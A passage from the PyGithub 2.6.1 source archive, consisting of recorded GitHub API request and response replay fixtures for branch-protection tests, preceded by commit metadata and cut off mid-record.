(#2746)\n\nAdds capability to configure global laziness Github objects through\r\n`Github(lazy=…)` and `GithubIntegration(lazy=…)`. Does not add any\r\nlaziness capability to any particular Github object.\r\n\r\nReworks `CompletableGithubObject` to support following features:\r\n- It fetches initial complete JSON, which allows to replace\r\n```python\r\nheaders, data = self.__requester.requestJsonAndCheck(\"GET\", f\"/users/{login}\")\r\nreturn github.NamedUser.NamedUser(self.__requester, headers, data, completed=True)\r\n```\r\nwith\r\n```python\r\nreturn github.NamedUser.NamedUser(self.__requester, url=f\"/users/{login}\")\r\n```\r\nWhich allows that returned `CompletableGithubObject` to be lazy.\r\n\r\nRemoves any code related to `CompletableGithubObject` from\r\n`NonCompletableGithubObject`.\r\n- Which requires replacing (for `NonCompletableGithubObject` only)\r\n```python\r\n return github.Branch.Branch(self._requester, headers, data, completed=True)\r\n```\r\nfor `NonCompletableGithubObject` with\r\n```python\r\n return github.Branch.Branch(self._requester, headers, data)\r\n```\r\n\r\nFixes #2334","tree":{"sha":"0816d1f0ddb5de2a877c5c5638b41d2fb19e6676","url":"https://api.github.com/repos/jacquev6/PyGithub/git/trees/0816d1f0ddb5de2a877c5c5638b41d2fb19e6676"},"url":"https://api.github.com/repos/jacquev6/PyGithub/git/commits/f23da453917a36c8bd48ab8d99e5fa7221884342","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\nwsFcBAABCAAQBQJnQaxDCRC1aQ7uu5UhlAAAk4kQAARCvBiHek9LfUEKraminhu5\n+n6u4inyim2GRt1JNTlqW2UXmqAKNkPNpKUVAYeo+QdqAq2v7Io1j3+5PZFFJvkz\nJSYY0irXU0YfhU1byMJ5nc8zojT3swYGtoJMhwvFX3RrN73DcMYqyhleEaFJ3Vuo\n7rUala2gVY/c03fSPjFwej3BuYO6muL1G4KtoB0GfGze1Jr2FuhSC2ra1uMy7MHT\nhquIcAWfVUVISf8IiWck7l7G06JqTX+erobcWPMmzWoEiRGJujnFdPdoMiIvzM21\n2AcpLftQ2mhDiP6RDRXCFeUnMZsLE4Arthpujo1zSEiewcJr1mEByHSZSOWG5y2k\n5gqFOryfar/1ZPhoPHyFNhn3UdM7t88mLPFkVoS88BpLKxvAb+S336vbfNLiqtTq\n4YgFvLBwvDu4sjgdH/3/dqhsytC1v2NaDzj4kwUWbVLlBy2g/VQ+WXsHWfqk63ov\npP7l0+6b+7F+nSAlfxsQ2CWtwfHrqJvNclP2gbDkWW4fBRUJCLoTrbZlC3eXa36n\ncGPRssRbaF4ndt79eUhILJV8gmYqT0EaFv2jD+efiz+TewESqRsW9NL38bYVYv4e\nNn1kHt0DOgeD7X6xWkhHca2/f9nNDG6RqkON4OZyurJeZh19oTK5smjQxrKDOf3y\nPj1ykGfKEZYVgmR9Fd8L\n=K/fC\n-----END PGP SIGNATURE-----\n","payload":"tree 0816d1f0ddb5de2a877c5c5638b41d2fb19e6676\nparent 19ddb9f4fd996e99a5010d271b3c2e76dd280fb5\nauthor Enrico Minack 1732357187 +0100\ncommitter GitHub 1732357187 +0100\n\nAdd capability for global laziness (#2746)\n\nAdds capability to configure global laziness Github objects through\r\n`Github(lazy=…)` and `GithubIntegration(lazy=…)`. Does not add any\r\nlaziness capability to any particular Github object.\r\n\r\nReworks `CompletableGithubObject` to support following features:\r\n- It fetches initial complete JSON, which allows to replace\r\n```python\r\nheaders, data = self.__requester.requestJsonAndCheck(\"GET\", f\"/users/{login}\")\r\nreturn github.NamedUser.NamedUser(self.__requester, headers, data, completed=True)\r\n```\r\nwith\r\n```python\r\nreturn github.NamedUser.NamedUser(self.__requester, url=f\"/users/{login}\")\r\n```\r\nWhich allows that returned `CompletableGithubObject` to be lazy.\r\n\r\nRemoves any code related to `CompletableGithubObject` from\r\n`NonCompletableGithubObject`.\r\n- Which requires replacing (for `NonCompletableGithubObject` only)\r\n```python\r\n return github.Branch.Branch(self._requester, headers, data, completed=True)\r\n```\r\nfor `NonCompletableGithubObject` with\r\n```python\r\n return github.Branch.Branch(self._requester, headers, data)\r\n```\r\n\r\nFixes #2334","verified_at":"2024-11-23T10:19:51Z"}},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f23da453917a36c8bd48ab8d99e5fa7221884342","html_url":"https://github.com/jacquev6/PyGithub/commit/f23da453917a36c8bd48ab8d99e5fa7221884342","comments_url":"https://api.github.com/repos/jacquev6/PyGithub/commits/f23da453917a36c8bd48ab8d99e5fa7221884342/comments","author":{"login":"jacquev6","id":44700269,"node_id":"MDQ6VXNlcjQ0NzAwMjY5","avatar_url":"https://avatars.githubusercontent.com/u/44700269?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","user_view_type":"public","site_admin":false},"committer":{"login":"web-flow","id":19864447,"node_id":"MDQ6VXNlcjE5ODY0NDQ3","avatar_url":"https://avatars.githubusercontent.com/u/19864447?v=4","gravatar_id":"","url":"https://api.github.com/users/web-flow","html_url":"https://github.com/web-flow","followers_url":"https://api.github.com/users/web-flow/followers","following_url":"https://api.github.com/users/web-flow/following{/other_user}","gists_url":"https://api.github.com/users/web-flow/gists{/gist_id}","starred_url":"https://api.github.com/users/web-flow/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/web-flow/subscriptions","organizations_url":"https://api.github.com/users/web-flow/orgs","repos_url":"https://api.github.com/users/web-flow/repos","events_url":"https://api.github.com/users/web-flow/events{/privacy}","received_events_url":"https://api.github.com/users/web-flow/received_events","type":"User","user_view_type":"public","site_admin":false},"parents":[{"sha":"19ddb9f4fd996e99a5010d271b3c2e76dd280fb5","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/19ddb9f4fd996e99a5010d271b3c2e76dd280fb5","html_url":"https://github.com/jacquev6/PyGithub/commit/19ddb9f4fd996e99a5010d271b3c2e76dd280fb5"}]},"_links":{"self":"https://api.github.com/repos/jacquev6/PyGithub/branches/topic/RewriteWithGeneratedCode","html":"https://github.com/jacquev6/PyGithub/tree/topic/RewriteWithGeneratedCode"},"protected":false,"protection":{"enabled":false,"required_status_checks":{"enforcement_level":"off","contexts":[],"checks":[]}},"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/topic/RewriteWithGeneratedCode/protection"} https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '395'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46245273100a0cfb1e8339a2cfb122da"'), ('date', 'Mon, 07 May 2018 12:40:05 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name":"integrations","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/jacquev6/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":true,"protection":{"enabled":true,"required_status_checks":{"contexts":["foo/bar"]},"enforce_admins":true},"protection_url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection"} https GET api.github.com None /repos/PyGithub/PyGithub/branches/master {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '395'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"46245273100a0cfb1e8339a2cfb122da"'), ('date', 'Sun, 13 May 2018 15:15:25 GMT'), ('content-type', 'application/json; charset=utf-8')] {"name":"master","commit":{"sha":"d60943db8c9ae6ca1f9400d378a757e6f281dbde","url":"https://api.github.com/repos/PyGithub/PyGithub/commits/d60943db8c9ae6ca1f9400d378a757e6f281dbde"},"protected":true,"protection":{"enabled":true},"protection_url":"https://api.github.com/repos/PyGithub/PyGithub/branches/master/protection"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testAddRequiredSignatures.txt0000644000175100001660000000323414756101563025253 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures {'Accept': 'application/vnd.github.zzzax-preview+json', 'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Sun, 21 Oct 2018 18:46:31 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4973'), ('X-RateLimit-Reset', '1540150652'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('ETag', 'W/"dd58dd0663dbf118bceffe9dc228747e"'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:public_key, admin:repo_hook, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.zzzax-preview; format=json'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'AA54:4C24:3031AD3:6A57E17:5BCCC987')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/integrations/protection/required_signatures","enabled":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testAddTeamPushRestrictions.txt0000644000175100001660000000441514756101563025567 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} ["pygithub-owners"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Sun, 13 May 2018 11:21:07 GMT'), ('content-type', 'application/json; charset=utf-8')] '' https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/teams {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:22:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"name":"pygithub-owners","id":585225,"slug":"pygithub-owners","description":"","privacy":"closed","url":"https://api.github.com/teams/585225","members_url":"https://api.github.com/teams/585225/members{/member}","repositories_url":"https://api.github.com/teams/585225/repos","permission":"pull"}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testAddUserPushRestrictions.txt0000644000175100001660000000710114756101563025612 0ustar00runnerdockerhttps POST api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'Content-Type': 'application/json', 'User-Agent': 'PyGithub/Python'} ["sfdye"] 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4994'), ('content-length', '0'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"81ba94a48ad867b26d48c023ac584f43"'), ('date', 'Sun, 13 May 2018 11:06:07 GMT'), ('content-type', 'application/json; charset=utf-8')] '' https GET api.github.com None /repos/PyGithub/PyGithub/branches/master/protection/restrictions/users {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('x-runtime-rack', '0.033407'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"f972722557f6bbc814f109abae4df24e"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4995'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '9946:55F2:20CF9A0:423578E:5AF580B7'), ('date', 'Fri, 13 May 2018 11:07:40 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] [{"owned_private_repos":5,"collaborators":0,"type":"User","hireable":false,"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","public_gists":1,"company":"Criteo","bio":"","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","private_gists":5,"plan":{"collaborators":1,"private_repos":5,"name":"micro","space":614400},"public_repos":11,"followers":13,"login":"jacquev6","blog":"http://vincent-jacques.net","email":"vincent@vincent-jacques.net","disk_usage":16852,"html_url":"https://github.com/jacquev6","name":"Vincent Jacques","total_private_repos":5,"created_at":"2010-07-09T06:10:06Z","location":"Paris, France","id":327146,"following":24},{"login":"sfdye","id":343369,"avatar_url":"https://avatars2.githubusercontent.com/u/343369?v=4","gravatar_id":"","url":"https://api.github.com/users/sfdye","html_url":"https://github.com/sfdye","followers_url":"https://api.github.com/users/sfdye/followers","following_url":"https://api.github.com/users/sfdye/following{/other_user}","gists_url":"https://api.github.com/users/sfdye/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdye/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdye/subscriptions","organizations_url":"https://api.github.com/users/sfdye/orgs","repos_url":"https://api.github.com/users/sfdye/repos","events_url":"https://api.github.com/users/sfdye/events{/privacy}","received_events_url":"https://api.github.com/users/sfdye/received_events","type":"User","site_admin":false}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testAdminEnforcement.txt0000644000175100001660000001212214756101563024227 0ustar00runnerdockerhttps DELETE api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"5ebb2cbbb268262fba4eade23df2ed85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '935C:2DD6:186AD1F:1F9B1CD:5AF58E17'), ('date', 'Fri, 11 May 2018 12:35:41 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.035550'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/enforce_admins","enabled":false} https POST api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"5ebb2cbbb268262fba4eade23df2ed85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '935C:2DD6:186AD1F:1F9B1CD:5AF58E17'), ('date', 'Fri, 11 May 2018 12:35:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.035550'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] '' https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/enforce_admins {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"7e30c47ab395fea0aa2cb8f9c487c7be"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '92CC:2DD0:1360C19:194AF93:5AF58EA4'), ('date', 'Fri, 11 May 2018 12:38:01 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.038876'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526045876')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/enforce_admins","enabled":true} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testAllowDeletions.txt0000644000175100001660000001212714756101563023743 0ustar00runnerdockerhttps POST api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"5ebb2cbbb268262fba4eade23df2ed85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '935C:2DD6:186AD1F:1F9B1CD:5AF58E17'), ('date', 'Fri, 11 May 2018 12:35:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.035550'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] '' https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"7e30c47ab395fea0aa2cb8f9c487c7be"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4998'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '92CC:2DD0:1360C19:194AF93:5AF58EA4'), ('date', 'Fri, 11 May 2018 12:38:01 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.038876'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526045876')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/allow_deletions","enabled":true} https DELETE api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('status', '204 No Content'), ('x-ratelimit-remaining', '4994'), ('content-length', '330'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"2dada6dafd332016bcdf06e42487e520"'), ('date', 'Thu, 10 May 2012 13:56:55 GMT'), ('content-type', 'application/json; charset=utf-8')] https GET api.github.com None /repos/jacquev6/PyGithub/branches/integrations/protection/allow_deletions {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('x-oauth-scopes', 'public_repo, repo:status'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', 'W/"5ebb2cbbb268262fba4eade23df2ed85"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('referrer-policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('transfer-encoding', 'chunked'), ('x-github-request-id', '935C:2DD6:186AD1F:1F9B1CD:5AF58E17'), ('date', 'Fri, 11 May 2018 12:35:41 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('content-encoding', 'gzip'), ('x-runtime-rack', '0.035550'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1526042267')] {"url":"https://api.github.com/repos/jacquev6/PyGithub/branches/add-pr-review-request/protection/allow_deletion","enabled":false} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Branch.testCommitCommentsOnLine.txt0000644000175100001660000010653014756101563025063 0ustar00runnerdockerhttps GET api.github.com None /repos/jacquev6/PyGithub/commits/6945921c529be14c3a8f566dd1e483674516d46d {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '30760'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"9ee846f5bd9913285569443607fd134e"'), ('date', 'Fri, 18 May 2012 20:12:21 GMT'), ('content-type', 'application/json; charset=utf-8')] {"author":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"url":"https://api.github.com/repos/jacquev6/PyGithub/commits/6945921c529be14c3a8f566dd1e483674516d46d","stats":{"deletions":53,"additions":48,"total":101},"committer":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"files":[{"raw_url":"https://github.com/jacquev6/PyGithub/raw/6945921c529be14c3a8f566dd1e483674516d46d/codegen/templates/GithubObject.MethodBody.UseResult.py","status":"modified","blob_url":"https://github.com/jacquev6/PyGithub/blob/6945921c529be14c3a8f566dd1e483674516d46d/codegen/templates/GithubObject.MethodBody.UseResult.py","changes":2,"deletions":1,"filename":"codegen/templates/GithubObject.MethodBody.UseResult.py","patch":"@@ -23,7 +23,7 @@\n {% else %}\r\n \r\n {% if method.type.cardinality == \"scalar\" %}\r\n- return {% if method.type.name != class.name %}{{ method.type.name }}.{% endif %}{{ method.type.name }}( self.__requester, data, completion = LazyCompletion )\r\n+ return {% if method.type.name != class.name %}{{ method.type.name }}.{% endif %}{{ method.type.name }}( self.__requester, data, completion = NoCompletion )\r\n {% endif %}\r\n 